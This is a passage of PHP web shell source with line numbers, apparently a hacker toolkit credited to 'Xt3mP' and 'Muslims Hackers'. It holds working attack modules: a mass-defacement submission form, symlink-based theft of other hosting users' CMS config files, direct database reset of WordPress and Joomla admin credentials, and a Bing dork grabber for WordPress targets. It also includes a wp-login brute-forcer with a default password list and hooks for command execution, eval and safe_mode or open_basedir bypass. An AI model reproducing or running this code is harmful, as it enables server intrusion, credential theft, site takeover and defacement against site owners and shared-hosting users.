  1578. <p align="center"><span style="FONT-FAMILY: Impact; COLOR: #ff4500; FONT-SIZE: 18pt"><span style="COLOR: #ffffff"></span></span></p>
  1579.  
  1580. <form action="" method="post">
  1581.  
  1582. <div id="option">
  1583.  
  1584. <p>Defacer<br />
  1585.  
  1586. <span class="ok"><input type="text" name="defacer" size="40" /></span> </p>
  1587.  
  1588.  
  1589.  
  1590. <p>Method Of Hacking<br /><select name="hackmode">
  1591.  
  1592. <option >Choose The Method</option>
  1593.  
  1594. <option value="1">known vulnerability (i.e. unpatched system)</option>
  1595.  
  1596. <option
  1597.  
  1598. value="2" >undisclosed (new) vulnerability</option>
  1599.  
  1600. <option
  1601.  
  1602. value="3" >configuration / admin. mistake</option>
  1603.  
  1604. <option
  1605.  
  1606. value="4" >brute force attack</option>
  1607.  
  1608.  
  1609.  
  1610. <option
  1611.  
  1612. value="5" >social engineering</option>
  1613.  
  1614. <option
  1615.  
  1616. value="6" >Web Server intrusion</option>
  1617.  
  1618. <option
  1619.  
  1620. value="7" >Web Server external module intrusion</option>
  1621.  
  1622. <option
  1623.  
  1624. value="8" >Mail Server intrusion</option>
  1625.  
  1626. <option
  1627.  
  1628. value="9" >FTP Server intrusion</option>
  1629.  
  1630. <option
  1631.  
  1632. value="10" >SSH Server intrusion</option>
  1633.  
  1634.  
  1635.  
  1636. <option
  1637.  
  1638. value="11" >Telnet Server intrusion</option>
  1639.  
  1640. <option
  1641.  
  1642. value="12" >RPC Server intrusion</option>
  1643.  
  1644. <option
  1645.  
  1646. value="13" >Shares misconfiguration</option>
  1647.  
  1648. <option
  1649.  
  1650. value="14" >Other Server intrusion</option>
  1651.  
  1652. <option
  1653.  
  1654. value="15" >SQL Injection</option>
  1655.  
  1656. <option
  1657.  
  1658. value="16" >URL Poisoning</option>
  1659.  
  1660.  
  1661.  
  1662. <option
  1663.  
  1664. value="17" >File Inclusion</option>
  1665.  
  1666. <option
  1667.  
  1668. value="18" >Other Web Application bug</option>
  1669.  
  1670. <option
  1671.  
  1672. value="19" >Remote administrative panel access through bruteforcing</option>
  1673.  
  1674. <option
  1675.  
  1676. value="20" >Remote administrative panel access through password guessing</option>
  1677.  
  1678. <option
  1679.  
  1680. value="21" >Remote administrative panel access through social engineering</option>
  1681.  
  1682. <option
  1683.  
  1684. value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
  1685.  
  1686.  
  1687.  
  1688. <option
  1689.  
  1690. value="23" >Access credentials through Man In the Middle attack</option>
  1691.  
  1692. <option
  1693.  
  1694. value="24" >Remote service password guessing</option>
  1695.  
  1696. <option
  1697.  
  1698. value="25" >Remote service password bruteforce</option>
  1699.  
  1700. <option
  1701.  
  1702. value="26" >Rerouting after attacking the Firewall</option>
  1703.  
  1704. <option
  1705.  
  1706. value="27" >Rerouting after attacking the Router</option>
  1707.  
  1708. <option
  1709.  
  1710. value="28" >DNS attack through social engineering</option>
  1711.  
  1712.  
  1713.  
  1714. <option
  1715.  
  1716. value="29" >DNS attack through cache poisoning</option>
  1717.  
  1718.  
  1719. <option
  1720.  
  1721. value="30" >Not available</option>
  1722.  
  1723. </select></p>
  1724.  
  1725. <p>Reason Of Hacking<br /><select name="reason">
  1726.  
  1727.  
  1728.  
  1729. <option >Choose The Reason</option>
  1730.  
  1731. <option
  1732.  
  1733. value="1" >Heh...just for fun!</option>
  1734.  
  1735. <option
  1736.  
  1737. value="2" >Revenge against that website</option>
  1738.  
  1739. <option
  1740.  
  1741. value="3" >Political reasons</option>
  1742.  
  1743. <option
  1744.  
  1745. value="4" >As a challenge</option>
  1746.  
  1747. <option
  1748.  
  1749. value="5" >I just want to be the best defacer</option>
  1750.  
  1751.  
  1752.  
  1753. <option
  1754.  
  1755. value="6" >Patriotism</option>
  1756.  
  1757. <option
  1758.  
  1759. value="7" >Not available</option>
  1760.  
  1761. </select> </p>
  1762.  
  1763.  
  1764.  
  1765. <p>Sites<br />
  1766.  
  1767. <span class="fur">Write The Sites Without "http://"</span><br />
  1768.  
  1769. <span class=""><textarea name="domain" cols="43" rows="17"></textarea></span> </p>
  1770.  
  1771. <p><input type="submit" value="Deface Them !" name="mass_shell_xt3mp"/>
  1772.  
  1773. </form>
  1774. <div class ="sub">Translated By Tr0y-x</div>
  1775.  
  1776. <div class ="sub">Turkish Coding</div>
  1777. <br>
  1778.  
  1779. </div>
  1780.  
  1781. </center>';
  1782.  
  1783.  
  1784.  
  1785. }
  1786.  
  1787.  
  1788.  
  1789. function poster($url, $hacker, $hackmode,$reson, $site )
  1790.  
  1791. {
  1792.  
  1793.  
  1794.  
  1795. $k = curl_init();
  1796.  
  1797. curl_setopt($k, CURLOPT_URL, $url);
  1798.  
  1799. curl_setopt($k,CURLOPT_POST,true);
  1800.  
  1801. curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  1802.  
  1803. curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  1804.  
  1805. curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  1806.  
  1807.  
  1808.  
  1809. $kubra = curl_exec($k);
  1810.  
  1811. curl_close($k);
  1812.  
  1813. return $kubra;
  1814.  
  1815. }
  1816.  
  1817. break;
  1818. // Symlinking > Added by Xt3mP
  1819. case 'asy':
  1820. $IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  1821. $IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
  1822. $IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
  1823. @mkdir('sym',0777);
  1824. $IIIIIIIIIIl1 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1825. $IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
  1826. fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
  1827. @symlink('/','sym/root');
  1828. $IIIIIIIIIlIl = basename(__FILE__);
  1829. echo '<br /><div class="hedr"> Symlink Sa 2.0 <br /></div>';
  1830. echo '<br /><div class="hedr">-:[ User & Domains & Symlink ]:-<br /><br /></div>';
  1831. echo '<div class="cont">
  1832.  
  1833. [<a href="?"> Home </a>]
  1834.  
  1835. [<a href="?id=asy&sws=sym"> User & Domains & Symlink </a>]
  1836.  
  1837. [<a href="?id=asy&sws=sec"> Domains & Script </a>]
  1838.  
  1839. [ <a href="?id=asy&sws=file"> Symlink File </a>]<br /><br /><br />
  1840.  
  1841.  
  1842.  
  1843.  
  1844.  
  1845.  
  1846. </div>';
  1847. if(isset($_REQUEST['sws']))
  1848. {
  1849. switch ($_REQUEST['sws'])
  1850. {
  1851. case 'sec':
  1852. $IIIIIIIIIllI = @file('/etc/named.conf');
  1853. if(!$IIIIIIIIIllI)
  1854. {
  1855. die (" can't read /etc/named.conf");
  1856. }
  1857. else
  1858. {
  1859. echo "<div class='tmp'>
  1860. <table align='center' width='40%'><td> Domains </td><td> Script </td>";
  1861. foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
  1862. if(eregi('zone',$IIIIIIIIIll1)){
  1863. preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
  1864. flush();
  1865. if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
  1866. $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
  1867. $IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';
  1868. $IIIIIIIII11I=get_headers($IIIIIIIII1l1);
  1869. $IIIIIIIII11l=$IIIIIIIII11I[0];
  1870. $IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';
  1871. $IIIIIIIIlIII=get_headers($IIIIIIIII111);
  1872. $IIIIIIIIlIIl=$IIIIIIIIlIII[0];
  1873. $IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';
  1874. $IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
  1875. $IIIIIIIIlIll=$IIIIIIIIlIlI[0];
  1876. $IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';
  1877. $IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
  1878. $IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
  1879. $IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';
  1880. $IIIIIIIIllII=get_headers($IIIIIIIIlI11);
  1881. $IIIIIIIIllIl=$IIIIIIIIllII[0];
  1882. $IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';
  1883. $IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
  1884. $IIIIIIIIllll=$IIIIIIIIlllI[0];
  1885. $IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';
  1886. $IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
  1887. $IIIIIIIIll1l=$IIIIIIIIll1I[0];
  1888. $IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';
  1889. $IIIIIIIIl1II=get_headers($IIIIIIIIll11);
  1890. $IIIIIIIIl1Il=$IIIIIIIIl1II[0];
  1891. $IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';
  1892. $IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
  1893. $IIIIIIIIl1lI=$IIIIIIIIl1II[0];
  1894. $IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
  1895. $IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
  1896. $IIIIIIIIl11I=$IIIIIIIIl1l1[0];
  1897. $IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';
  1898. $IIIIIIIIl111=get_headers($IIIIIIIIl11l);
  1899. $IIIIIIII1III=$IIIIIIIIl111[0];
  1900. $IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
  1901. $IIIIIIII1II1=get_headers($IIIIIIII1IIl);
  1902. $IIIIIIII1IlI=$IIIIIIII1II1[0];
  1903. $IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
  1904. $IIIIIIII1I1I='&nbsp;';
  1905. if (strpos($IIIIIIIII11l,'200') == true )
  1906. {
  1907. $IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";
  1908. }
  1909. elseif (strpos($IIIIIIIIlIIl,'200') == true)
  1910. {
  1911. $IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";
  1912. }
  1913. elseif (strpos($IIIIIIIIlIll,'200') == true and strpos($IIIIIIII1III,'200') == true )
  1914. {
  1915. $IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";
  1916. }
  1917. elseif (strpos($IIIIIIIIl1lI,'200') == true)
  1918. {
  1919. $IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";
  1920. }
  1921. elseif (strpos($IIIIIIIIl11I,'200') == true)
  1922. {
  1923. $IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
  1924. }
  1925. elseif (strpos($IIIIIIIIlIll,'200') == true)
  1926. {
  1927. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";
  1928. }
  1929. elseif (strpos($IIIIIIIIlI1l,'200') == true)
  1930. {
  1931. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";
  1932. }
  1933. elseif (strpos($IIIIIIIIllIl,'200') == true)
  1934. {
  1935. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";
  1936. }
  1937. elseif (strpos($IIIIIIIIllll,'200') == true)
  1938. {
  1939. $IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";
  1940. }
  1941. elseif (strpos($IIIIIIIIll1l,'200') == true)
  1942. {
  1943. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";
  1944. }
  1945. else
  1946. {
  1947. continue;
  1948. }
  1949. $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
  1950. echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>
  1951. <td>'.$IIIIIIII1I1I.'</td></tr>';flush();
  1952. }
  1953. }
  1954. }
  1955. }
  1956. break;
  1957. case 'sym':
  1958. $IIIIIIIIIllI = @file('/etc/named.conf');
  1959. if(!$IIIIIIIIIllI)
  1960. {
  1961. die (" can't read /etc/named.conf");
  1962. }
  1963. else
  1964. {
  1965. echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
  1966. foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
  1967. if(eregi('zone',$IIIIIIIIIll1)){
  1968. preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
  1969. flush();
  1970. if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
  1971. $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
  1972. $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
  1973. @symlink('/','sym/root');
  1974. $IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
  1975. $IIIIIIII1I11 = '\.ir';
  1976. $IIIIIIII1lII = '\.il';
  1977. if (eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
  1978. {
  1979. $IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';
  1980. }
  1981. echo "
  1982. <tr>
  1983.  
  1984. <td>
  1985. <div class='dom'><a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a> </div>
  1986. </td>
  1987.  
  1988.  
  1989. <td>
  1990. '.$IIIIIIIII1I1['name']."
  1991. </td>
  1992.  
  1993.  
  1994.  
  1995.  
  1996.  
  1997.  
  1998. <td>
  1999. <a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>
  2000. </td>
  2001.  
  2002.  
  2003. </tr></div> ";
  2004. flush();
  2005. }
  2006. }
  2007. }
  2008. }
  2009. break;
  2010. case 'file':
  2011. echo '
  2012. The file path to symlink
  2013.  
  2014. <br /><br />
  2015. <form method="post">
  2016. <input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
  2017. <input type="text" name="symfile" value="file.name_sym ( Ex. :: 1.txt )" size="60"/><br /><br />
  2018. <input type="submit" value="symlink" name="symlink" /> <br /><br />
  2019.  
  2020.  
  2021.  
  2022. </form>
  2023. ';
  2024. $IIIIIIII1lIl = $_POST['file'];
  2025. $symfile = $_POST['symfile'];
  2026. $symlink = $_POST['symlink'];
  2027. if ($symlink)
  2028. {
  2029. @symlink("$IIIIIIII1lIl","sym/$symfile");
  2030. echo '<br /><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a>';
  2031. }
  2032. break;
  2033. default:
  2034. header("Location: $IIIIIIIIIlIl");
  2035. }
  2036. }else
  2037. {
  2038. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  2039. echo '<input type="file" name="file" value="Choose file" size="60" ><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  2040. if( $_POST['_upl'] == 'Upload') {
  2041. if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])) {echo '<br /><br /><b>Uploaded successful !!<br><br>';}
  2042. else {echo '<br /><br />Not uploaded !!<br><br>';}
  2043. }
  2044. echo '
  2045. <br /><br /><div class="fot">
  2046. <br /><br />
  2047. Muslims Hackers</div> ';
  2048. }
  2049. ;
  2050. break;
  2051. // Wordpress & Joomla fucker > Added by Xt3mP
  2052. case 'wjf':
  2053. echo "<div style='text-align: center;'>";
  2054. echo "<FORM method='POST'>
  2055. DB_HOST <INPUT size='15' value='localhost' name='localhost' type='text'><br>
  2056. DB_NAME <INPUT size='15' value='name' name='database' type='text'><br>
  2057. DB_USER <INPUT size='15' value='user' name='username' type='text'><br>
  2058. DB_PASSWORD <INPUT size='15' value='pass' name='password' type='passw0rd'><br>
  2059. CMS <select name='cms'><option value='wordpress'>Wordpress</option><option value='joomla'>Joomla</option></select><br>
  2060. New Username <INPUT name='admin' size='15' value='user'><br>
  2061. New passw0rd <INPUT name='pwd' size='15' value='pass'><br>
  2062. <INPUT value='Donde' name='send' type='submit'>
  2063. </FORM>";
  2064. if(isset($_POST['send']))
  2065. {
  2066. $localhost = $_POST['localhost'];
  2067. $database = $_POST['database'];
  2068. $username = $_POST['username'];
  2069. $password = $_POST['password'];
  2070. $cms = $_POST['cms'];
  2071. $pwd = $_POST['pwd'];
  2072. $admin = $_POST['admin'];
  2073. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2074. @mysql_select_db($database) or die(mysql_error());
  2075. if($cms == 'wordpress'){
  2076. $hash = crypt($pwd);
  2077. $SQL=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
  2078. $SQL=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
  2079. }else{
  2080. $hash = md5($pwd);
  2081. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
  2082. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
  2083. }
  2084. echo '<hr noshade="noshade"></hr>';
  2085. if($SQL)
  2086. {
  2087. echo "<b>root@secure:# ~ Success</b>";
  2088. }else{
  2089. echo "<b>root@secure:# ~ Error</b>";
  2090. }
  2091. }
  2092. echo "</div>";
  2093. break;
  2094. // Bing grabber > Added by Xt3mP
  2095. case 'bgr':
  2096. class dorkGrabber
  2097. {
  2098. var $bing;
  2099. var $google;
  2100.  
  2101. function __construct()
  2102. {
  2103. $this->bing = 'http://www.bing.com/search?q=';
  2104. }
  2105.  
  2106. function getSource($target)
  2107. {
  2108. $target = @file_get_contents($target);
  2109. return $target;
  2110. }
  2111.  
  2112. function remakeUrl($url)
  2113. {
  2114.  
  2115. $new = $url;
  2116. $regex='/(http[s]*:\/\/[a-z.-]*\/)((blog|wordpress|wp)\/)*/';
  2117. preg_match($regex, $new, $matches);
  2118. $new=$matches[0];
  2119. echo $new."<br>";
  2120. return $new;
  2121. }
  2122.  
  2123. function checkUrl($url)
  2124. {
  2125. if(@fopen($this->remakeUrl($url).'wp-login.php', 'r'))
  2126. return true;
  2127. else
  2128. return false;
  2129. }
  2130.  
  2131. function parseLinks($target)
  2132. {
  2133. $data['rawlinks'] = array();
  2134. $data['correctlinks'] = array();
  2135. $data['badlinks'] = array();
  2136. for($i = 0; $i < 21; $i++)
  2137. {
  2138. $first = ($i == 0) ? 0 : ($i * 10) + 1;
  2139. $source = $this->getSource($target.'&first='.$first);
  2140. $pattern = "/<h3><a href=\"(.*?)\" onmousedown=/";
  2141. $preg = preg_match_all($pattern, $source, $output, PREG_PATTERN_ORDER);
  2142.  
  2143. if(count($output[1]) != 0)
  2144. {
  2145. for($x = 0; $x<count($output[1]); $x++)
  2146. {
  2147. if(!in_array($this->remakeUrl($output[1][$x]), $data['correctlinks']))
  2148. {
  2149. if($this->checkUrl($output[1][$x]))
  2150. {
  2151. $data['rawlinks'][] = $output[1][$x];
  2152. $data['correctlinks'][] = $this->remakeUrl($output[1][$x]);
  2153. }else{
  2154. $data['rawlinks'][] = $output[1][$x];
  2155. $data['badlinks'][] = $output[1][$x];
  2156. }
  2157. }
  2158. }
  2159. }else{
  2160. break;
  2161. }
  2162. }
  2163. return $data;
  2164. }
  2165.  
  2166. function getLinks($target)
  2167. {
  2168. $new_target = $this->getSource($target);
  2169. $check = "/<h1>No se han encontrado resultados para <strong>/";
  2170. if(@preg_match($check, $new_target))
  2171. return false;
  2172. else
  2173. return $this->parseLinks($target);
  2174. }
  2175.  
  2176. function makeData($type, $links, $output = null)
  2177. {
  2178. switch($type)
  2179. {
  2180. case 'raw':
  2181. $title = '<h1>Raw links</h1>';
  2182. foreach($links['rawlinks'] as $link)
  2183. {
  2184. $linkdir .= $link."\r\n";
  2185. }
  2186. $data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
  2187. break;
  2188. case 'correct':
  2189. $title = '<h1>Correct links</h1>';
  2190. foreach($links['correctlinks'] as $link)
  2191. {
  2192. $linkdir .= $link."wp-login.php\r\n";
  2193. }
  2194. $data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
  2195. break;
  2196. case 'bad':
  2197. $title = '<h1>Bad links</h1>';
  2198. if(empty($links['badlinks']))
  2199. {
  2200. $data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">None</textarea>';
  2201. }else{
  2202. foreach($links['badlinks'] as $link)
  2203. {
  2204. $linkdir .= $link."\r\n";
  2205. }
  2206. $data = $title.'<textarea rows="5" style="width: 600px; font-size: 11px;">'.$linkdir.'</textarea>';
  2207. }
  2208. break;
  2209. case 'txt':
  2210. $title = '<h1>Output file</h1>';
  2211. foreach($links['correctlinks'] as $link)
  2212. {
  2213. $linkdir .= $link."wp-login.php\r\n";
  2214. }
  2215. $tot = count($links['correctlinks']) + count($links['badlinks']);
  2216. $statistics = '
  2217. [Total links: <b>'.$tot.'</b>]
  2218. [Correct links: <b>'.count($links['correctlinks']).'</b>]
  2219. [Bad links: <b>'.count($links['badlinks']).'</b>]';
  2220. $file = fopen($output, 'w+');
  2221. if($file)
  2222. {
  2223. fwrite($file, $linkdir);
  2224. fclose($file);
  2225. $filedir = $output.' > http://'.$_SERVER['HTTP_HOST'].'/'.$output;
  2226. $data = $title.'<textarea rows="5" style="width:600px;font-size:11px;margin-bottom:5px;">'.$filedir.'</textarea>';
  2227. $data .= $statistics.'<a href="./'.$output.'" target="_blank">[View output file]</a>';
  2228. }else{
  2229. $data = $title.$statistics.'[Can\'t make output file]';
  2230. }
  2231. break;
  2232. }
  2233. return $data;
  2234. }
  2235.  
  2236. function makeDirective($dork, $output)
  2237. {
  2238. $dork = urlencode($dork);
  2239. $target = $this->bing.$dork.$extra;
  2240. $grabber = $this->getLinks($target);
  2241. $result = '<fieldset style="text-align: justify"><legend>Result</legend>';
  2242. if($grabber === false)
  2243. {
  2244. $result .= 'The DORK (<b>'.urldecode($dork).'</b>) doesn\'t return any results.';
  2245. }else{
  2246. $result .= $this->makeData('raw', $grabber);
  2247. $result .= $this->makeData('correct', $grabber);
  2248. $result .= $this->makeData('bad', $grabber);
  2249. $result .= $this->makeData('txt', $grabber, $output);
  2250. }
  2251. $result .= '</fieldset>';
  2252. return $result;
  2253. }
  2254. }
  2255. function url_exists($strURL)
  2256. {
  2257. $resURL = curl_init();
  2258. curl_setopt($resURL, CURLOPT_URL, $strURL);
  2259. curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
  2260. curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
  2261. curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
  2262. curl_exec ($resURL);
  2263. $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
  2264. curl_close ($resURL);
  2265. if ($intReturnCode != 200){return false;}
  2266. else{return true ;}
  2267. }
  2268. function filter($string)
  2269. {
  2270. if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
  2271. else{return $string; }
  2272. }
  2273. function RemoveLastSlash($host)
  2274. {
  2275. if(strrpos($host, '/', -1) == strlen($host)-1)
  2276. {return substr($host,0,strrpos($host, '/', -1));}
  2277. else{return $host;}
  2278. }
  2279. echo '<div id="container">
  2280. <fieldset>
  2281. <legend>Dork\'s Wordpress links Grabber (Bing version) | Xt3mP</legend>
  2282. <form action="" method="POST">
  2283. <label>Insert DORK:</label><input type="text" name="dork"/><br />
  2284. <label>Search engine:</label><select name="engine" disabled="disabled"><option value="bing">Bing</option></select><br />
  2285. <label>Output file:</label><input type="text" name="output" /><br />
  2286. <label>Check file:</label><input type="text" name="check" disabled="disabled" value="Disabled" /><br />
  2287. <input type="submit" name="get" value="Get Links!" />
  2288. </form>
  2289. </fieldset>';
  2290. if(isset($_POST['get']))
  2291. {
  2292. if(empty($_POST['dork']) or empty($_POST['output']))
  2293. {
  2294. echo '<script>alert("Some fields are empty!.");</script>';
  2295. }else{
  2296. $dorkGrabber = new dorkGrabber();
  2297. echo $dorkGrabber->makeDirective($_POST['dork'], $_POST['output']);
  2298. }
  2299. }
  2300.  
  2301. echo "<form enctype=\"multipart/form-data\" method=\"POST\">
  2302. <table width='624' border='0' id='Box'>
  2303. <tr>
  2304. <td width='4%'>&nbsp;</td>
  2305. <td width=\"96%\" colspan=\"3\" align=\"center\" ><p>C0derz.com | Wordpress Admin Panel Penetration Testing </p></td>
  2306. </tr>
  2307. <tr>
  2308. <td >&nbsp;</td>
  2309. <td ><p>Hosts:</p></td>
  2310. <td ><p> Users:</p></td>
  2311. <td ><p>Passwords:</p></td>
  2312. </tr>
  2313. <tr>
  2314. <td>&nbsp;</td>
  2315. <td ><textarea name=\"hosts\" cols=\"30\" rows=\"10\" >";
  2316. if($_POST){echo $_POST['hosts'];}
  2317. echo "</textarea></td>
  2318. <td ><textarea name=\"usernames\" cols=\"30\" rows=\"10\" >";
  2319. if($_POST){echo $_POST['usernames'];}else {echo "admin";}
  2320. echo "</textarea></td>
  2321. <td ><textarea name=\"passwords\" cols=\"30\" rows=\"10\" >";
  2322. if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";}
  2323. echo" </textarea></td>
  2324. </tr>
  2325. <tr><td colspan=\"4\"><input type=\"submit\" name=\"submit\" value=\"Brute Now\" class=\"submit\" /><br></td></tr>
  2326. </table></form>
  2327. </div>";if($_POST['submit'])
  2328. {
  2329. $hosts = trim(filter($_POST['hosts']));
  2330. $passwords = trim(filter($_POST['passwords']));
  2331. $usernames = trim(filter($_POST['usernames']));
  2332.  
  2333. if($passwords && $usernames && $hosts)
  2334. {
  2335. $hosts_explode = explode("\n", $hosts);
  2336. $usernames_explode = explode("\n", $usernames);
  2337. $passwords_explode = explode("\n", $passwords);
  2338.  
  2339. foreach($hosts_explode as $host)
  2340. {
  2341. $host = RemoveLastSlash($host);
  2342. $hacked = 0;
  2343. $host = str_replace(array("http://","https://","www."),"",trim($host));
  2344. $host = "http://".$host;
  2345. $wpAdmin = $host.'/wp-admin/';
  2346.  
  2347. if(!url_exists($host."/wp-login.php"))
  2348. {echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>"; //no existe URL
  2349. ob_flush();
  2350. flush();
  2351. continue;}
  2352.  
  2353. foreach($usernames_explode as $username)
  2354. {
  2355. foreach($passwords_explode as $password)
  2356. {
  2357. $ch = curl_init();
  2358. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2359. curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
  2360. curl_setopt($ch,CURLOPT_POST,TRUE);
  2361. curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password);
  2362. curl_setopt($ch, CURLOPT_HTTPHEADER, "Content-Type: application/x-www-form-urlencoded");
  2363. $login = curl_exec($ch);
  2364. $intReturnCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  2365.  
  2366. if($intReturnCode==302)
  2367. {
  2368. $hacked = 1;
  2369. echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
  2370. ob_flush();flush();break;
  2371. }
  2372. }
  2373. if($hacked == 1){break;}
  2374. }
  2375. if($hacked == 0)
  2376. {echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
  2377. }
  2378. }
  2379. else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
  2380. }
  2381. break;
  2382. // Command Line
  2383. case 'cmd':
  2384. wcom();
  2385. break;
  2386. // PHP Eval
  2387. case 'eval':
  2388. eeval();
  2389. break;
  2390. // Php 5.2.9 Bypass
  2391. case 'izo':
  2392. eizo();
  2393. break;
  2394. // Safe Modu Offla
  2395. case 'priv8':
  2396. epriv8();
  2397. break;
  2398. // Openbasedir Bypass
  2399. case 'obypass':
  2400. eobypass();
  2401. break;
  2402. // Vbulletin config decoder
  2403. case 'decode':
  2404. edecode();
  2405. break;
  2406. // Php 4 Back
